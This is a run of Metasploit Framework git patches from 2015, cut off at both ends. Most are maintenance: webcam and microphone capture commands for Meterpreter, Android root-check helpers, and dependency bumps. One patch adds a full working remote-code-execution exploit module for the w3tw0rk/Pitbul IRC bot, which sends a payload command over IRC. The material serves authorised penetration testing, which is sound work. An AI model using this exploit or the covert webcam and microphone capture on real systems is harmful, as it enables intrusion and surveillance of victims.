elog("webcam_chat failed. #{e.class} #{e}") raise "Unable to start the remote browser: #{e.message}" end From 573f2b51a5e6b52b462290c649f2a7f9051a0a1d Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Mon, 24 Aug 2015 16:51:43 -0500 Subject: [PATCH 0355/2172] fix some crashes running webcam commands on webcamless machines --- .../command_dispatcher/stdapi/webcam.rb | 26 +++++++++++++------ 1 file changed, 18 insertions(+), 8 deletions(-) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb index 6ac989c899..d144324f54 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb @@ -70,6 +70,11 @@ class Console::CommandDispatcher::Stdapi::Webcam end def cmd_webcam_snap(*args) + if client.webcam.webcam_list.length == 0 + print_error("Target does not have a webcam") + return + end + path = Rex::Text.rand_text_alpha(8) + ".jpeg" quality = 50 view = true @@ -101,6 +106,7 @@ class Console::CommandDispatcher::Stdapi::Webcam view = false if ( val =~ /^(f|n|0)/i ) end } + begin wc_list << client.webcam.webcam_list rescue @@ -109,10 +115,11 @@ class Console::CommandDispatcher::Stdapi::Webcam begin print_status("Starting...") client.webcam.webcam_start(index) + webcam_started = true data = client.webcam.webcam_get_frame(quality) print_good("Got frame") ensure - client.webcam.webcam_stop + client.webcam.webcam_stop if webcam_started print_status("Stopped") end @@ -163,12 +170,17 @@ class Console::CommandDispatcher::Stdapi::Webcam begin print_status("Webcam chat session initialized.") client.webcam.webcam_chat(server) - rescue RuntimeError => e + rescue RuntimeError => e print_error(e.message) end end def cmd_webcam_stream(*args) + if client.webcam.webcam_list.length == 0 + print_error("Target does not have a webcam") + return + end + print_status("Starting...") stream_path = Rex::Text.rand_text_alpha(8) + ".jpeg" player_path = Rex::Text.rand_text_alpha(8) + ".html" @@ -264,7 +276,7 @@ Status : <span id="status"></span> end if view print_status("Opening player at: #{player_path}") - Rex::Compat.open_file(player_path) + Rex::Compat.open_file(player_path) else print_status("Please open the player manually with a browser: #{player_path}") end @@ -272,6 +284,7 @@ Status : <span id="status"></span> print_status("Streaming...") begin client.webcam.webcam_start(index) + webcam_started = true ::Timeout.timeout(duration) { while client do data = client.webcam.webcam_get_frame(quality) @@ -285,7 +298,7 @@ Status : <span id="status"></span> } rescue ::Timeout::Error ensure - client.webcam.webcam_stop + client.webcam.webcam_stop if webcam_started end print_status("Stopped") @@ -333,11 +346,8 @@ Status : <span id="status"></span> end return true end - -end - end end end end - +end From 90a46fbcd0f6faf03fb02be08dbe50bc2aaf1076 Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Mon, 24 Aug 2015 17:58:24 -0500 Subject: [PATCH 0356/2172] update style issues --- .../command_dispatcher/stdapi/webcam.rb | 155 ++++++++---------- 1 file changed, 72 insertions(+), 83 deletions(-) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb index d144324f54..16af63751b 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb @@ -79,7 +79,6 @@ class Console::CommandDispatcher::Stdapi::Webcam quality = 50 view = true index = 1 - wc_list = [] webcam_snap_opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help Banner" ], @@ -87,14 +86,14 @@ class Console::CommandDispatcher::Stdapi::Webcam "-q" => [ true, "The JPEG image quality (Default: '#{quality}')" ], "-p" => [ true, "The JPEG image path (Default: '#{path}')" ], "-v" => [ true, "Automatically view the JPEG image (Default: '#{view}')" ] - ) + ) - webcam_snap_opts.parse( args ) { | opt, idx, val | + webcam_snap_opts.parse(args) { | opt, idx, val | case opt when "-h" - print_line( "Usage: webcam_snap [options]\n" ) - print_line( "Grab a frame from the specified webcam." ) - print_line( webcam_snap_opts.usage ) + print_line("Usage: webcam_snap [options]\n") + print_line("Grab a frame from the specified webcam.") + print_line(webcam_snap_opts.usage) return when "-i" index = val.to_i @@ -103,39 +102,30 @@ class Console::CommandDispatcher::Stdapi::Webcam when "-p" path = val when "-v" - view = false if ( val =~ /^(f|n|0)/i ) + view = false if val =~ /^(f|n|0)/i end } begin - wc_list << client.webcam.webcam_list - rescue + print_status("Starting...") + client.webcam.webcam_start(index) + webcam_started = true + data = client.webcam.webcam_get_frame(quality) + print_good("Got frame") + ensure + client.webcam.webcam_stop if webcam_started + print_status("Stopped") end - if wc_list.length > 0 - begin - print_status("Starting...") - client.webcam.webcam_start(index) - webcam_started = true - data = client.webcam.webcam_get_frame(quality) - print_good("Got frame") - ensure - client.webcam.webcam_stop if webcam_started - print_status("Stopped") - end - if( data ) - ::File.open( path, 'wb' ) do |fd| - fd.write( data ) - end - path = ::File.expand_path( path ) - print_line( "Webcam shot saved to: #{path}" ) - Rex::Compat.open_file( path ) if view + if data + ::File.open(path, 'wb') do |fd| + fd.write(data) end - return true - else - print_error("No webcams where found") - return false + path = ::File.expand_path(path) + print_line("Webcam shot saved to: #{path}") + Rex::Compat.open_file(path) if view end + true end def cmd_webcam_chat(*args) @@ -149,17 +139,17 @@ class Console::CommandDispatcher::Stdapi::Webcam webcam_chat_opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help banner"], "-s" => [ false, "WebSocket server" ] - ) + ) - webcam_chat_opts.parse( args ) { | opt, idx, val | + webcam_chat_opts.parse(args) { | opt, idx, val | case opt when "-h" - print_line( "Usage: webcam_chat [options]\n" ) - print_line( "Starts a video conversation with your target." ) - print_line( "Browser Requirements:") - print_line( "Chrome: version 23 or newer" ) - print_line( "Firefox: version 22 or newer" ) - print_line( webcam_chat_opts.usage ) + print_line("Usage: webcam_chat [options]\n") + print_line("Starts a video conversation with your target.") + print_line("Browser Requirements:") + print_line("Chrome: version 23 or newer") + print_line("Firefox: version 22 or newer") + print_line(webcam_chat_opts.usage) return when "-s" server = val.to_s @@ -188,7 +178,6 @@ class Console::CommandDispatcher::Stdapi::Webcam quality = 50 view = true index = 1 - wc_list = [] webcam_snap_opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help Banner" ], @@ -200,30 +189,30 @@ class Console::CommandDispatcher::Stdapi::Webcam "-v" => [ true, "Automatically view the stream (Default: '#{view}')" ] ) - webcam_snap_opts.parse( args ) { | opt, idx, val | + webcam_snap_opts.parse(args) { |opt, _idx, val| case opt - when "-h" - print_line( "Usage: webcam_stream [options]\n" ) - print_line( "Stream from the specified webcam." ) - print_line( webcam_snap_opts.usage ) - return - when "-d" - duration = val.to_i - when "-i" - index = val.to_i - when "-q" - quality = val.to_i - when "-s" - stream_path = val - when "-t" - player_path = val - when "-v" - view = false if ( val =~ /^(f|n|0)/i ) + when "-h" + print_line("Usage: webcam_stream [options]\n") + print_line("Stream from the specified webcam.") + print_line(webcam_snap_opts.usage) + return + when "-d" + duration = val.to_i + when "-i" + index = val.to_i + when "-q" + quality = val.to_i + when "-s" + stream_path = val + when "-t" + player_path = val + when "-v" + view = false if val =~ /^(f|n|0)/i end } print_status("Preparing player...") - html = %Q|<html> + html = %|<html> <head> <META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE"> <META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE"> @@ -285,17 +274,17 @@ Status : <span id="status"></span> begin client.webcam.webcam_start(index) webcam_started = true - ::Timeout.timeout(duration) { + ::Timeout.timeout(duration) do while client do data = client.webcam.webcam_get_frame(quality) if data ::File.open(stream_path, 'wb') do |f| - f.write(data) + f.write(data) end data = nil end end - } + end rescue ::Timeout::Error ensure client.webcam.webcam_stop if webcam_started @@ -312,39 +301,39 @@ Status : <span id="status"></span> record_mic_opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help Banner" ], "-d" => [ true, "Number of seconds to record (Default: 1)" ], - "-f" => [ true, "The wav file path (Default: '#{::File.expand_path( "[randomname].wav" )}')" ], + "-f" => [ true, "The wav file path (Default: '#{::File.expand_path("[randomname].wav")}')" ], "-p" => [ true, "Automatically play the captured audio (Default: '#{play}')" ] ) - record_mic_opts.parse( args ) { | opt, idx, val | + record_mic_opts.parse(args) do |opt, _idx, val| case opt - when "-h" - print_line( "Usage: record_mic [options]\n" ) - print_line( "Records audio from the default microphone." ) - print_line( record_mic_opts.usage ) - return - when "-d" - duration = val.to_i - when "-f" - path = val - when "-p" - play = false if ( val =~ /^(f|n|0)/i ) + when "-h" + print_line("Usage: record_mic [options]\n") + print_line("Records audio from the default microphone.") + print_line(record_mic_opts.usage) + return + when "-d" + duration = val.to_i + when "-f" + path = val + when "-p" + play = false if val =~ /^(f|n|0)/i end - } + end print_status("Starting...") data = client.webcam.record_mic(duration) print_status("Stopped") - if( data ) - ::File.open( path, 'wb' ) do |fd| - fd.write( data ) + if data + ::File.open(path, 'wb') do |fd| + fd.write(data) end - path = ::File.expand_path( path ) - print_line( "Audio saved to: #{path}" ) - Rex::Compat.play_sound( path ) if play + path = ::File.expand_path(path) + print_line("Audio saved to: #{path}") + Rex::Compat.play_sound(path) if play end - return true + true end end end From 54dcd312f69418f8109317bc4880330b49442e8b Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Mon, 24 Aug 2015 18:07:31 -0500 Subject: [PATCH 0357/2172] more style issues resolved --- .../command_dispatcher/stdapi/webcam.rb | 92 +++++++++---------- 1 file changed, 44 insertions(+), 48 deletions(-) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb index 16af63751b..447097cd2b 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb @@ -12,7 +12,6 @@ module Ui # ### class Console::CommandDispatcher::Stdapi::Webcam - Klass = Console::CommandDispatcher::Stdapi::Webcam include Console::CommandDispatcher @@ -33,17 +32,16 @@ class Console::CommandDispatcher::Stdapi::Webcam "webcam_list" => [ "webcam_list" ], "webcam_snap" => [ "webcam_start", "webcam_get_frame", "webcam_stop" ], "webcam_stream" => [ "webcam_start", "webcam_get_frame", "webcam_stop" ], - "record_mic" => [ "webcam_audio_record" ], + "record_mic" => [ "webcam_audio_record" ] } - all.delete_if do |cmd, desc| + all.delete_if do |cmd, _desc| del = false reqs[cmd].each do |req| next if client.commands.include? req del = true break end - del end @@ -58,14 +56,13 @@ class Console::CommandDispatcher::Stdapi::Webcam end def cmd_webcam_list - begin - client.webcam.webcam_list.each_with_index { |name, indx| - print_line("#{indx + 1}: #{name}") - } - return true - rescue + if client.webcam.webcam_list.length == 0 print_error("No webcams were found") - return false + return + end + + client.webcam.webcam_list.each_with_index do |name, indx| + print_line("#{indx + 1}: #{name}") end end @@ -86,25 +83,25 @@ class Console::CommandDispatcher::Stdapi::Webcam "-q" => [ true, "The JPEG image quality (Default: '#{quality}')" ], "-p" => [ true, "The JPEG image path (Default: '#{path}')" ], "-v" => [ true, "Automatically view the JPEG image (Default: '#{view}')" ] - ) + ) - webcam_snap_opts.parse(args) { | opt, idx, val | + webcam_snap_opts.parse(args) do |opt, _idx, val| case opt - when "-h" - print_line("Usage: webcam_snap [options]\n") - print_line("Grab a frame from the specified webcam.") - print_line(webcam_snap_opts.usage) - return - when "-i" - index = val.to_i - when "-q" - quality = val.to_i - when "-p" - path = val - when "-v" - view = false if val =~ /^(f|n|0)/i + when "-h" + print_line("Usage: webcam_snap [options]\n") + print_line("Grab a frame from the specified webcam.") + print_line(webcam_snap_opts.usage) + return + when "-i" + index = val.to_i + when "-q" + quality = val.to_i + when "-p" + path = val + when "-v" + view = false if val =~ /^(f|n|0)/i end - } + end begin print_status("Starting...") @@ -139,23 +136,22 @@ class Console::CommandDispatcher::Stdapi::Webcam webcam_chat_opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help banner"], "-s" => [ false, "WebSocket server" ] - ) + ) - webcam_chat_opts.parse(args) { | opt, idx, val | + webcam_chat_opts.parse(args) do |opt, _idx, val| case opt - when "-h" - print_line("Usage: webcam_chat [options]\n") - print_line("Starts a video conversation with your target.") - print_line("Browser Requirements:") - print_line("Chrome: version 23 or newer") - print_line("Firefox: version 22 or newer") - print_line(webcam_chat_opts.usage) - return - when "-s" - server = val.to_s + when "-h" + print_line("Usage: webcam_chat [options]\n") + print_line("Starts a video conversation with your target.") + print_line("Browser Requirements:") + print_line("Chrome: version 23 or newer") + print_line("Firefox: version 22 or newer") + print_line(webcam_chat_opts.usage) + return + when "-s" + server = val.to_s end - } - + end begin print_status("Webcam chat session initialized.") @@ -172,7 +168,7 @@ class Console::CommandDispatcher::Stdapi::Webcam end print_status("Starting...") - stream_path = Rex::Text.rand_text_alpha(8) + ".jpeg" + stream_path = Rex::Text.rand_text_alpha(8) + ".jpeg" player_path = Rex::Text.rand_text_alpha(8) + ".html" duration = 1800 quality = 50 @@ -189,7 +185,7 @@ class Console::CommandDispatcher::Stdapi::Webcam "-v" => [ true, "Automatically view the stream (Default: '#{view}')" ] ) - webcam_snap_opts.parse(args) { |opt, _idx, val| + webcam_snap_opts.parse(args) do |opt, _idx, val| case opt when "-h" print_line("Usage: webcam_stream [options]\n") @@ -209,7 +205,7 @@ class Console::CommandDispatcher::Stdapi::Webcam when "-v" view = false if val =~ /^(f|n|0)/i end - } + end print_status("Preparing player...") html = %|<html> @@ -294,14 +290,14 @@ Status : <span id="status"></span> end def cmd_record_mic(*args) - path = Rex::Text.rand_text_alpha(8) + ".wav" - play = true - duration = 1 + path = Rex::Text.rand_text_alpha(8) + ".wav" + play = true + duration = 1 record_mic_opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help Banner" ], "-d" => [ true, "Number of seconds to record (Default: 1)" ], - "-f" => [ true, "The wav file path (Default: '#{::File.expand_path("[randomname].wav")}')" ], + "-f" => [ true, "The wav file path (Default: '#{::File.expand_path('[randomname].wav')}')" ], "-p" => [ true, "Automatically play the captured audio (Default: '#{play}')" ] ) From 3412f31f852021c3be7b66baff4d7c6fecec1150 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Mon, 24 Aug 2015 18:37:25 -0500 Subject: [PATCH 0358/2172] Add Android POST API --- lib/msf/core/post/android.rb | 8 ++++ lib/msf/core/post/android/priv.rb | 35 +++++++++++++++++ lib/msf/core/post/android/system.rb | 39 +++++++++++++++++++ spec/lib/msf/core/post/android/priv_spec.rb | 37 ++++++++++++++++++ spec/lib/msf/core/post/android/system_spec.rb | 30 ++++++++++++++ 5 files changed, 149 insertions(+) create mode 100644 lib/msf/core/post/android.rb create mode 100644 lib/msf/core/post/android/priv.rb create mode 100644 lib/msf/core/post/android/system.rb create mode 100644 spec/lib/msf/core/post/android/priv_spec.rb create mode 100644 spec/lib/msf/core/post/android/system_spec.rb diff --git a/lib/msf/core/post/android.rb b/lib/msf/core/post/android.rb new file mode 100644 index 0000000000..dbe96e2d53 --- /dev/null +++ b/lib/msf/core/post/android.rb @@ -0,0 +1,8 @@ +# -*- coding: binary -*- + +module Msf::Post::Android + + require 'msf/core/post/android/system' + require 'msf/core/post/android/priv' + +end diff --git a/lib/msf/core/post/android/priv.rb b/lib/msf/core/post/android/priv.rb new file mode 100644 index 0000000000..3f7732a3b4 --- /dev/null +++ b/lib/msf/core/post/android/priv.rb @@ -0,0 +1,35 @@ +# -*- coding: binary -*- + +require 'msf/core/post/common' +require 'msf/core/post/file' +require 'msf/core/post/unix' + +module Msf +class Post +module Android +module Priv + + include Msf::Post::Common + + public + + # Returns whether we are running as root or not. + # + # @return [Boolean] TrueClass if as root, otherwise FalseClass. + def is_root? + id = cmd_exec('id') + uid = id.scan(/uid=(\d+)(.+)/).flatten.first + if uid =~ /^0$/ + return true + else + return false + end + end + + private + + def get_id + cmd_exec('id') + end + +end ; end ; end ; end \ No newline at end of file diff --git a/lib/msf/core/post/android/system.rb b/lib/msf/core/post/android/system.rb new file mode 100644 index 0000000000..2241081ac5 --- /dev/null +++ b/lib/msf/core/post/android/system.rb @@ -0,0 +1,39 @@ +# -*- coding: binary -*- + +require 'msf/core/post/common' +require 'msf/core/post/file' +require 'msf/core/post/unix' + +module Msf +class Post +module Android +module System + + include Msf::Post::Common + include Msf::Post::File + + public + + # Returns system information from build.prop. + # + # @return [Hash] System information. + def get_sysinfo + sys_data = {} + build_prop = get_build_prop + + return sys_data if build_prop.blank? + + build_prop.scan(/(.+)=(.+)/i).collect {|e| Hash[*e]}.each do |setting| + sys_data.merge!(setting) + end + + return sys_data + end + + private + + def get_build_prop + cmd_exec('cat /system/build.prop') + end + +end ; end ; end ; end \ No newline at end of file diff --git a/spec/lib/msf/core/post/android/priv_spec.rb b/spec/lib/msf/core/post/android/priv_spec.rb new file mode 100644 index 0000000000..b65b0c8f25 --- /dev/null +++ b/spec/lib/msf/core/post/android/priv_spec.rb @@ -0,0 +1,37 @@ +# -*- coding: binary -*- + +require 'msf/core/post/android/priv' + +describe Msf::Post::Android::Priv do + + subject do + mod = Module.new + mod.extend(described_class) + mod + end + + let(:nonroot_id) do + %Q|uid=10043(u0_a43) gid=10043(u0_a43) groups=1006(camera),1015(sdcard_rw),1028(sdcard_r),3003(inet)| + end + + let(:root_id) do + %Q|uid=0(0)| + end + + describe '#is_root?' do + context 'when root' do + it 'returns TrueClass' do + allow(subject).to receive(:cmd_exec).with('id').and_return(nonroot_id) + expect(subject.is_root?).to be_falsey + end + end + + context 'when non root' do + it 'reeturns FalseClass' do + allow(subject).to receive(:cmd_exec).with('id').and_return(root_id) + expect(subject.is_root?).to be_truthy + end + end + end + +end diff --git a/spec/lib/msf/core/post/android/system_spec.rb b/spec/lib/msf/core/post/android/system_spec.rb new file mode 100644 index 0000000000..ef9d5c1e14 --- /dev/null +++ b/spec/lib/msf/core/post/android/system_spec.rb @@ -0,0 +1,30 @@ +# -*- coding: binary -*- + +require 'msf/core/post/android/system' + +describe Msf::Post::Android::System do + + subject do + mod = Module.new + mod.extend(described_class) + mod + end + + let(:build_prop_output) do + %Q|ro.build.version.sdk=16 +ro.build.version.release=4.1.1 +| + end + + describe '#get_sysinfo' do + let(:expected_android_version) do + '4.1.1' + end + + it 'returns the android version' do + allow(subject).to receive(:cmd_exec).and_return(build_prop_output) + expect(subject.get_sysinfo['ro.build.version.release']).to eq(expected_android_version) + end + end + +end From 45eb55f9751a53f19a6b17ad2f79d20d7b9d95a3 Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Tue, 25 Aug 2015 11:45:30 -0500 Subject: [PATCH 0359/2172] Bump PacketFu to latest --- Gemfile.lock | 6 ++++-- metasploit-framework.gemspec | 2 +- 2 files changed, 5 insertions(+), 3 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 8bac76b5b2..9cbc0110a6 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -12,7 +12,7 @@ PATH metasploit-payloads (= 1.0.8) msgpack nokogiri - packetfu (= 1.1.9) + packetfu (= 1.1.11) railties rb-readline-r7 recog (= 2.0.6) @@ -144,7 +144,9 @@ GEM network_interface (0.0.1) nokogiri (1.6.6.2) mini_portile (~> 0.6.0) - packetfu (1.1.9) + packetfu (1.1.11) + network_interface (~> 0.0) + pcaprub (~> 0.12) pcaprub (0.12.0) pg (0.18.2) pg_array_parser (0.0.9) diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index eb2924b3bd..698e0bb233 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -67,7 +67,7 @@ Gem::Specification.new do |spec| # Needed by anemone crawler spec.add_runtime_dependency 'nokogiri' # Needed by db.rb and Msf::Exploit::Capture - spec.add_runtime_dependency 'packetfu', '1.1.9' + spec.add_runtime_dependency 'packetfu', '1.1.11' # Run initializers for metasploit-concern, metasploit-credential, metasploit_data_models Rails::Engines spec.add_runtime_dependency 'railties' # required for OS fingerprinting From 25fb3254100bdb720ee1816b564f11c15816e6b1 Mon Sep 17 00:00:00 2001 From: JT <shipcodez@gmail.com> Date: Wed, 26 Aug 2015 01:22:55 +0800 Subject: [PATCH 0360/2172] w3tw0rk / Pitbul IRC Bot Remote Code Execution --- modules/exploits/multi/misc/w3tw0rk_exec.rb | 160 ++++++++++++++++++++ 1 file changed, 160 insertions(+) create mode 100644 modules/exploits/multi/misc/w3tw0rk_exec.rb diff --git a/modules/exploits/multi/misc/w3tw0rk_exec.rb b/modules/exploits/multi/misc/w3tw0rk_exec.rb new file mode 100644 index 0000000000..3a67209a54 --- /dev/null +++ b/modules/exploits/multi/misc/w3tw0rk_exec.rb @@ -0,0 +1,160 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + + +class Metasploit3 < Msf::Exploit::Remote + Rank = AverageRanking + + include Msf::Exploit::Remote::Tcp + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'w3tw0rk / Pitbul IRC Bot Remote Code Execution', + 'Description' => %q{ + This module allows remote command execution on the w3tw0rk / Pitbul IRC Bot. + }, + 'Author' => + [ + 'Jay Turla' + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'OSVDB', '120384' ], + [ 'EDB', '36652' ] + ], + 'Platform' => %w{ unix win }, + 'Arch' => ARCH_CMD, + 'Payload' => + { + 'Space' => 300, # According to RFC 2812, the max length message is 512, including the cr-lf + 'BadChars' => '', + 'DisableNops' => true, + 'Compat' => + { + 'PayloadType' => 'cmd', + } + }, + 'Targets' => + [ + [ 'w3tw0rk', { } ] + ], + 'Privileged' => false, + 'DisclosureDate' => 'Jun 04 2015', + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(6667), + OptString.new('IRC_PASSWORD', [false, 'IRC Connection Password', '']), + OptString.new('NICK', [true, 'IRC Nickname', 'msf_user']), + OptString.new('CHANNEL', [true, 'IRC Channel', '#channel']) + ], self.class) + end + + def check + connect + + response = register(sock) + if response =~ /463/ or response =~ /464/ + vprint_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed") + return Exploit::CheckCode::Unknown + end + + response = join(sock) + if not response =~ /353/ and not response =~ /366/ + vprint_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel") + return Exploit::CheckCode::Unknown + end + response = w3tw0rk_login(sock) + quit(sock) + disconnect + + if response =~ /auth/ and response =~ /logged in/ + return Exploit::CheckCode::Vulnerable + else + return Exploit::CheckCode::Safe + end + end + + def send_msg(sock, data) + sock.put(data) + data = "" + begin + read_data = sock.get_once(-1, 1) + while not read_data.nil? + data << read_data + read_data = sock.get_once(-1, 1) + end + rescue EOFError + end + data + end + + def register(sock) + msg = "" + + if datastore['IRC_PASSWORD'] and not datastore['IRC_PASSWORD'].empty? + msg << "PASS #{datastore['IRC_PASSWORD']}\r\n" + end + + if datastore['NICK'].length > 9 + nick = rand_text_alpha(9) + print_error("The nick is longer than 9 characters, using #{nick}") + else + nick = datastore['NICK'] + end + + msg << "NICK #{nick}\r\n" + msg << "USER #{nick} #{Rex::Socket.source_address(rhost)} #{rhost} :#{nick}\r\n" + + response = send_msg(sock,msg) + return response + end + + def join(sock) + join_msg = "JOIN #{datastore['CHANNEL']}\r\n" + response = send_msg(sock, join_msg) + return response + end + + def w3tw0rk_command(sock) + encoded = payload.encoded + command_msg = "PRIVMSG #{datastore['CHANNEL']} :!bot #{encoded}\r\n" + response = send_msg(sock, command_msg) + return response + end + + def quit(sock) + quit_msg = "QUIT :bye bye\r\n" + sock.put(quit_msg) + end + + def exploit + connect + + print_status("#{rhost}:#{rport} - Registering with the IRC Server...") + response = register(sock) + if response =~ /463/ or response =~ /464/ + print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed") + return + end + + print_status("#{rhost}:#{rport} - Joining the #{datastore['CHANNEL']} channel...") + response = join(sock) + if not response =~ /353/ and not response =~ /366/ + print_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel") + return + end + + print_status("#{rhost}:#{rport} - Exploiting the IRC bot...") + w3tw0rk_command(sock) + + quit(sock) + disconnect + end +end From c77226c3548c08148a65e3af2cdd8e22e5a8cf5b Mon Sep 17 00:00:00 2001 From: JT <shipcodez@gmail.com> Date: Wed, 26 Aug 2015 01:28:07 +0800 Subject: [PATCH 0361/2172] Update w3tw0rk_exec.rb --- modules/exploits/multi/misc/w3tw0rk_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/misc/w3tw0rk_exec.rb b/modules/exploits/multi/misc/w3tw0rk_exec.rb index 3a67209a54..ae6b6e1226 100644 --- a/modules/exploits/multi/misc/w3tw0rk_exec.rb +++ b/modules/exploits/multi/misc/w3tw0rk_exec.rb @@ -151,7 +151,7 @@ class Metasploit3 < Msf::Exploit::Remote return end - print_status("#{rhost}:#{rport} - Exploiting the IRC bot...") + print_status("#{rhost}:#{rport} - Exploiting the w3tw0rk IRC bot...") w3tw0rk_command(sock) quit(sock) From 026e6626f20649e169d398d3fed71e2e194ecaad Mon Sep 17 00:00:00 2001 From: Mo Sadek <msadek@rapid7.com> Date: Fri, 10 Jul 2015 17:00:22 -0500 Subject: [PATCH 0362/2172] Added regular expression filtering for excess characters --- lib/rex/logging/sinks/timestamp_flatfile.rb | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/lib/rex/logging/sinks/timestamp_flatfile.rb b/lib/rex/logging/sinks/timestamp_flatfile.rb index 4f69219ad6..bb8fe132b8 100644 --- a/lib/rex/logging/sinks/timestamp_flatfile.rb +++ b/lib/rex/logging/sinks/timestamp_flatfile.rb @@ -12,12 +12,10 @@ module Sinks class TimestampFlatfile < Flatfile def log(sev, src, level, msg, from) # :nodoc: - cleaned = msg.chop.gsub(/\x1b\[[0-9;]*[mG]/,'') - fd.write("[#{get_current_timestamp}] #{cleaned}\n") + msg = msg.chop.gsub(/\x1b\[[0-9;]*[mG]/,'').gsub(/[\x01-\x02]/, " ") + fd.write("[#{get_current_timestamp}] #{msg}\n") fd.flush end - - end end end end From ca8353e1aa7390e0b62ef806bc1de116e6e5667d Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Tue, 25 Aug 2015 17:44:01 -0500 Subject: [PATCH 0363/2172] update to metasploit-payloads 1.0.9 --- Gemfile.lock | 4 ++-- metasploit-framework.gemspec | 2 +- modules/payloads/singles/java/shell_reverse_tcp.rb | 2 +- modules/payloads/stagers/java/bind_tcp.rb | 2 +- modules/payloads/stagers/java/reverse_http.rb | 2 +- modules/payloads/stagers/java/reverse_https.rb | 2 +- modules/payloads/stagers/java/reverse_tcp.rb | 2 +- 7 files changed, 8 insertions(+), 8 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 8bac76b5b2..e7e91460a9 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -9,7 +9,7 @@ PATH json metasploit-concern (= 1.0.0) metasploit-model (= 1.0.0) - metasploit-payloads (= 1.0.8) + metasploit-payloads (= 1.0.9) msgpack nokogiri packetfu (= 1.1.9) @@ -123,7 +123,7 @@ GEM activemodel (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) railties (>= 4.0.9, < 4.1.0) - metasploit-payloads (1.0.8) + metasploit-payloads (1.0.9) metasploit_data_models (1.2.5) activerecord (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index eb2924b3bd..9d25c58418 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -61,7 +61,7 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model', '1.0.0' # Needed for Meterpreter - spec.add_runtime_dependency 'metasploit-payloads', '1.0.8' + spec.add_runtime_dependency 'metasploit-payloads', '1.0.9' # Needed by msfgui and other rpc components spec.add_runtime_dependency 'msgpack' # Needed by anemone crawler diff --git a/modules/payloads/singles/java/shell_reverse_tcp.rb b/modules/payloads/singles/java/shell_reverse_tcp.rb index 183aadcd71..77c987748d 100644 --- a/modules/payloads/singles/java/shell_reverse_tcp.rb +++ b/modules/payloads/singles/java/shell_reverse_tcp.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 7761 + CachedSize = 7351 include Msf::Payload::Single include Msf::Payload::Java diff --git a/modules/payloads/stagers/java/bind_tcp.rb b/modules/payloads/stagers/java/bind_tcp.rb index ff2ec2d706..a30c0e3f43 100644 --- a/modules/payloads/stagers/java/bind_tcp.rb +++ b/modules/payloads/stagers/java/bind_tcp.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 5487 + CachedSize = 5097 include Msf::Payload::Stager include Msf::Payload::Java diff --git a/modules/payloads/stagers/java/reverse_http.rb b/modules/payloads/stagers/java/reverse_http.rb index 5871e573df..c8426c3bc4 100644 --- a/modules/payloads/stagers/java/reverse_http.rb +++ b/modules/payloads/stagers/java/reverse_http.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_http' module Metasploit3 - CachedSize = 5505 + CachedSize = 5115 include Msf::Payload::Stager include Msf::Payload::Java diff --git a/modules/payloads/stagers/java/reverse_https.rb b/modules/payloads/stagers/java/reverse_https.rb index 2a95173ce7..8692b6f074 100644 --- a/modules/payloads/stagers/java/reverse_https.rb +++ b/modules/payloads/stagers/java/reverse_https.rb @@ 